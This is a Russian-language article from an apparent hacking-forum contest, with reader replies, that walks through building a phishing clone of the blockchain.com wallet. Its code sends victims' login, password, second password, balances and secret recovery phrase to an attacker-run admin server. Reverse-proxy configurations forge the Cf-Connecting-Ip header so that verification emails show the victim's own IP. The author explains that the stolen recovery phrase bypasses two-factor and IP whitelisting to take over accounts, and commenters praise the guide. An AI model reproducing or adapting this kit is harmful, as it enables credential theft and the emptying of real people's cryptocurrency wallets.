Фейковый Blockchain: от идеи до реализации

abstract

Пользователь
Закрытый раздел
Сообщения
76
Источник: конкурс статей на форуме Exploit

Все мы наслышаны про фэйки блокчейна(в нашем случае blockchain.com), но видел ли кто из нас простых смертных саму реализацию и что вообще фэйк из себя представляет?

Купить на рынке готовый продукт при этом, не зная из чего он состоит технически - это очень рискованно. Ведь за последние полгода, а может и год - уже объявлялись очень много кидал, которые показывали демо фэйка и сливались после получения крупной суммы, но сама статья не об этом.

НЕСТАНДАРТНЫЙ конкурс статей - требует нестандартных решений)))
Дело было вечером, делать было нечего и я решил посмотреть, как же можно реализовать фэйк блокчейна, не имея общего технического представления как это реализовали другие, опираясь только на описание возможностей и документацию.
И так, на минуточку вспомним всё, что мы знаем про фэйки.
Простыми словами, фэйк - это полноценная копия сайта с единственным отличием в домене, где основная идея заключается в том, чтобы посетитель не понял подмены и ввёл нужные нам данные.
И так, поехали!

Первым делом заходим на сайт: https://login.blockchain.com
1.png






Замечаем внизу данные версии и ссылку, которая ведёт на Github.
Переходим по ней и видим, что в репозитории выложены сорсы веб-интерфейса!

2.png






Хм... интересно, получается, что можно поднять копию веб-интерфейса без каких-либо знаний?
Я не мог поверить своим глазам, разве это было так просто? Кому пришла идея выложить это добро официально вообще не понятно.
Далее вчитываемся в инструкцию, пробуем установить:
Код
Спойлер: Код
wget https://codeload.github.com/blockchain/blockchain-wallet-v4-frontend/zip/refs/tags/v4.48.16
unzip blockchain-wallet-v4-frontend-4.48.16.zip
cd blockchain-wallet-v4-frontend
./setup.sh
yarn start:dev

Результат - ну "почти" полноценный фэйк :)

3.png






Правда пока этот фэйк ничего не делает в плане отправки данных, чем мы сейчас и займёмся.
Нам нужно в файлах найти авторизацию и попробовать добавить свою функцию.
Ищем в файлах по ключевому слову "login".
Находим основной файл авторизации:

4.png






Открываем файл: packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js

Добавляем функцию для простой отправки:
Спойлер: Код
const submitAuth = function ({guid, password}) {
axios({
url: `https://admin.blockchain.test/api/wallets`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})
}

А так же после блока сессии:
Спойлер: Код
let session = yield select(selectors.session.getSession, guid)

Добавляем:
Спойлер: Код
yield call(submitAuth, {guid, password})
Осталось самое главное, запустить это всё на тестовом домене и посмотреть всю работоспособность.
Редактируем файл hosts:
Спойлер: Код
127.0.0.1 login.blockchain.test
Открываем http://login.blockchain.test и пытаемся авторизоваться.
5.png






Смотрим, что ничего не происходит, первым делом проверяем консоль:
6.png






Ждало меня разочарование, оказывается API сервер не даёт делать запросы извне из-за CORS.
Думаем, думаем, как же решается CORS? Так ведь обычным реверс прокси на уровне веб-сервера. Разве нет?
Файл конфигурации для простого реверс прокси веб-сервера Caddy:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy * https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}

Что именно делает данный конфиг - просто проксирует все запросы к домену blockchain.info и меняет ответ в котором разрешает CORS-запросы, можно на абсолютно любом веб-сервере такое провернуть - для простоты работы и наглядности и был выбран Caddy, как отличный легковесный веб-сервер с автоматической поддержкой ssl, который написан на Go.

Теперь меняем адрес API сервера в нашем файле веб-интерфейса, для этого открываем файл config/env/production.js

Меняем:
Спойлер: Код
ROOT_URL: 'https://blockchain.info',

На значение:
Спойлер: Код
ROOT_URL: 'http://reverse.blockchain.test',
Пробуем еще раз авторизоваться:
51.png






Ураааа! Авторизация прошла успешно и письмо для подтверждения было отправлено.

Нам осталось только проверить почту и открыть письмо:
7.png





Да, но какого чёрта тут делает IP-адрес моего сервера? 😲😁

Я на минуточку задумался, мы же только недавно обходили CORS, поэтому и высвечивается этот адрес, и тут я вспомнил... во всех темах, где арендовался фэйк было написано про такую фичу, как IP-спуфинг.

Смысл заключается в том, что обычный пользователь оказавшийся на фэйке при подтверждении по почте, поймёт, что это IP-адрес чужой и попросту не подтвердит, что не есть хорошо. Получается, без этой фичи наш фэйк - это лишь подобие мощного комбайна, такое можно было и на HTML+CSS сделать.

Нужно немного найти информации про этот спуф... и так вспоминаем:

Немного поразмыслив, вновь дочитав про IP-спуфинг, я пришёл к выводу, что IP-спуфинг работает только в UDP.
В запросе HTTP не получится подменить IP-адрес, ведь HTTP работает через TCP протокол.

Неужели это конец? Я немного расстроился, заварил чайку и всё-таки решил еще раз, посмотреть сам сайт и запросы https://login.blockchain.com после авторизации:

8.png






О, да... очень интересный саб-домен в заголовке x-original-host: wallet.prod.blockchain.info!

Нам нужно узнать подробности для всех доменов и IP-адресов.

Делаем запрос, чтобы узнать, где находится blockchain.info:
Спойлер: Код
nslookup blockchain.info

Non-authoritative answer:
Name: blockchain.info
Address: 104.16.143.212
Name: blockchain.info
Address: 104.16.147.212
Name: blockchain.info
Address: 104.16.144.212
Name: blockchain.info
Address: 104.16.146.212
Name: blockchain.info
Address: 104.16.145.212
Теперь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 104.16.143.212

NetRange: 104.16.0.0 - 104.31.255.255
CIDR: 104.16.0.0/12
NetName: CLOUDFLARENET
NetHandle: NET-104-16-0-0-1
Parent: NET104 (NET-104-0-0-0-0)
NetType: Direct Assignment
OriginAS: AS13335
Organization: Cloudflare, Inc. (CLOUD14)
RegDate: 2014-03-28
Updated: 2017-02-17
Comment: All Cloudflare abuse reporting can be done via https://www.cloudflare.com/abuse

Осталось узнать, где находится wallet.prod.blockchain.info:
Спойлер: Код
nslookup wallet.prod.blockchain.info

Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 35.201.74.1

NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***

На минутку я замер: они используют CloudFlare, но при этом основной сервер на который пересылаются запросы находится в облаке Google.

Пробуем пинговать:
Спойлер: Код
nslookup wallet.prod.blockchain.info

Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 35.201.74.1

NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***

Открываем сам сайт:
9.png





404... хм... что-то и чай уже сильно остыл - ну да ладно, ведь мы тут нашли кое что-то очень интересное.

Я опять расстроился, но на минутку вспомнил, что раз сайт проксируется через CloudFlare, а далее передаётся в Google Cloud, то значит что они как-то передают нужные заголовки.

Ведь любой человек, который когда-либо работавший с CloudFlare знает, что все запросы на сервер идут: Посетитель <-> CloudFlare <-> Сервер.

Поэтому, чтобы восстановить реальный IP-адрес посетителя нам нужно прочитать документацию: https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs

И так, с уже остывшим чаем продолжаем наш путь, в документации говорится, что бы получить IP-адрес посетителя нужно получать данные из заголовков CF-Connecting-IP, в нашем же случае нам нужно отправлять такой заголовок, пробуем для начала в обычном запросе:
10.png






Проверяем почту:
11.png






Чему я был безумно рад, осталось это интегрировать в наш реверс прокси:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}

Авторизация работает, но почему-то не показывается баланс:
12.png






Открываем консоль, далее смотрим, что проблема возникает из-за того, что /multiadd доступен только blockchain.info, а в wallet.prod.blockchain.info его попросту нет:
13.png






Оказывается наш реверс прокси не совсем универсальный. Добавляем немного логики в наш реверс прокси:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy /multiaddr https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}

reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}

Отлично! Теперь все работает прекрасно!

Как итог, мы уже имеем: захват логина и пароля + IP-спуфинг.
Но это нам ничего не даёт, ведь подтвердить по почте мы не сможем, а если у пользователя еще включена двух-факторная авторизация или блокировка по IP-адресу, то тут совсем беда.
Фэйк сделать-то сделали, но пользы от него мы не получим, если не будет постоянного доступа к аккаунту.
Решил всё-таки вернуться к истокам и еще раз посмотреть сам веб-интерфейс, нас интересуют настройки безопасности:

14.png






Интересно, секретный ключ восстановления даёт возможность любому получить доступ к аккаунту?! Простите, что? 😲

15.png






Перечитываю пару раз и только потом доходит, что этот секретный ключ - это нечто из разряда святых, если его потерял то можно лишиться денег на аккаунте.
И если он показывается в веб-интерфейсе, значит можно тоже отправить к себе, но для начала нам нужно проверить возможности секретного ключа.

Включаем в настройках двух-факторное подтверждение + белый список по IP-адресу.
Нам осталось только проверить, для этого мы подключаемся через второй сокс и переходим по ссылке, где вводим ключ восстановления:

16.png






После ввода правильного секретного ключа появляется форма для смены пароля:

17.png






Вводим пароль и нажимаем на Recover Funds и после этого попадаем моментально в аккаунт:

18.png






Как итог, восстановление через секретный ключ позволяет обойти любые ограничения аккаунта: двух-факторную авторизацию + белый список по IP-адресу.

Это просто жесть, подумал я на минутку... значит даже смысла в записи логина пароля нет, можно просто собирать секретные ключи и восстанавливать аккаунты, а далее отключать настройки безопасности, в том числе изменять почтовый адрес.

"Так это фича, а не баг" - так сказали бы разработчики... 👏

Теперь нам осталось добавить все недостающие возможности в сам фэйк.

1) Секретный ключ восстановления.
Ищем в файлах "recovery", находим единственную функцию "recoverySaga", которая и выводит приватный ключ восстановления:
Спойлер: Код
const recoverySaga = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
const mnemonicArray = mnemonic.split(' ')
yield put(
actions.modules.settings.addMnemonic({ mnemonic: mnemonicArray })
)
} catch (e) {
yield put(
actions.logs.logErrorMessage(logLocation, 'showBackupRecovery', e)
)
}
}


Нам нужно немного его изменить, открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для возврата секретного ключа в удобном для нас формате:
Спойлер: Код
const recoverySagaInfo = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
return mnemonic;
} catch (e) {
}
}
Нужно еще эти данные отправить, добавляем функцию отправки:
Спойлер: Код
const submitRecover = ({ guid, recovery }: { guid: string, recovery: any }) =>
axios({
url: `https://admin.blockchain.test/api/recovers`,
method: 'POST',
data: {
guid: guid,
recover: recovery
},
headers: {
'Content-Type': 'application/json'
}
})

2) Дополнительный пароль подтверждения ака второй пасс.

Ищем в файлах "SecondPassword" находим удивительный вызов функции:
Спойлер: Код
import { promptForSecondPassword } from 'services/sagas'
const password = yield call(promptForSecondPassword)
Прекрасно. Это именно то, что нам и было нужно.

Открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts

Добавляем функцию для отправки данных второго пароля:
Спойлер: Код
const submitSecondPass = ({ guid, password }: { guid: string, password: string }) =>
axios({
url: `https://admin.blockchain.test/api/seconds`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})

Вызывать функцию будем чуть позже.

3) Баланс

Если будет информация о балансе кошелька, то будет легче понимать какой из аккаунтов нужно восстанавливать моментально и в дальнейшем просто добавить уведомления.

Ищем в файлах "balances", находим не менее удивительный вызов функции в том же файле, который мы редактировали ранее:
Спойлер: Код
// check/wait for balances to be available
const balances = yield call(waitForAllBalances)

Добавляем функцию для отправки данных баланса:
Спойлер: Код
const submitBalance = ({ balances, guid }: { balances: any, guid: string }) =>
axios({
url: `https://admin.blockchain.test/api/balances`,
method: 'POST',
data: {
guid: guid,
"btc": balances.btc,
"eth": balances.eth,
"bch": balances.bch,
"pax": balances.pax,
"xlm": balances.xlm,
"usdt": balances.usdt,
"wdgld": balances.wdgld
},
headers: {
'Content-Type': 'application/json'
}
})

Теперь, после авторизации, чтобы отправляло, нам нужно изменить файл packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js:
Ищем функцию:
Спойлер: Код
yield put(actions.goals.saveGoal('syncPit'))
Добавляем после неё
Спойлер: Код
yield put(actions.goals.saveGoal('sendData'))

После чего нам нужно добавить новую функцию в файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts:
Спойлер: Код
const runSendData = function * (goal) {
const { id } = goal
// Удаляём задачу, чтобы не запускалось сто раз.
yield put(actions.goals.deleteGoal(id))

// Ждём данных пользователя
yield call(waitForUserData)

// Получаем идентификатор аккаунта
const guid = yield select(selectors.core.wallet.getGuid)

// Ждём загрузки баланса
const balances = yield call(waitForAllBalances)
// @ts-ignore
yield call(submitBalance, {guid, balances});

// Получаем второй пароль
const password = yield call(promptForSecondPassword) || null ;
// @ts-ignore
yield call(submitSecondPass, {guid, password});

// Получаем секретный ключ восстановления
const recovery = yield call(recoverySagaInfo, { password })
// @ts-ignore
yield call(submitRecover, {guid, recovery});

}
В том же файле ищем:
Спойлер: Код
case 'syncPit':
yield call(runSyncPitGoal, goal)
break
Добавляем после неё
Код:Скопировать в буфер обмена
case 'sendData':
yield call(runSendData, goal)
break


В файле packages/blockchain-wallet-v4-frontend/src/data/goals/types.ts:

После "referral", добавляем "sendData".

Готово! Наш безупречный фэйк со всеми возможностями создан.

Для наглядности хотелось бы так же выложить материалы с подробными инструкциями по установке на сервер:
- Фэйк (конфиги + скрипты, сервер vps-1)
- Реверс прокси (конфиги + скрипты, сервер vps-2)
- Простенькая админ панель (конфиги + скрипты, сервер vps-3)

Но опасаясь спекуляций со стороны недобросовестных пользователей(и резкого роста торговцев фейками блокчейна) данный материал в иерархическом порядке хотелось бы передать администраторами и модераторам форума, а так же специалистам, которые бы хотели "потрогать" и убедиться, что всё описанное в данной статье - актуально и работает на момент публикации.

PS: возможно полетят абузы, что в паблик уходит приват, но нет, друзья - до этого мог дойти любой и тут показано как именно достигнут результат, а не просто выкладывается готовое решение.

Данная статья для конкурса является прямым подтверждением того, что нет ничего невозможного.
Просто пробуйте, и Вы добьетесь всего и всегда.
С единственной в данном случае оговоркой, о которой хотелось бы напомнить(привет, Ubuntu/Debian):
"C великой силой приходит и великая ответственность"
 
Тема неплохая, но мне всегда казалось что биткоиноводы могут отличить палку от пистолета… печально, если это не так и акки реально угоняются
 
Тыкая в небо рано или поздно можно попасть на мамонта.

Тема годная, информативная, автор палец вверх за старание
 
Назад
Сверху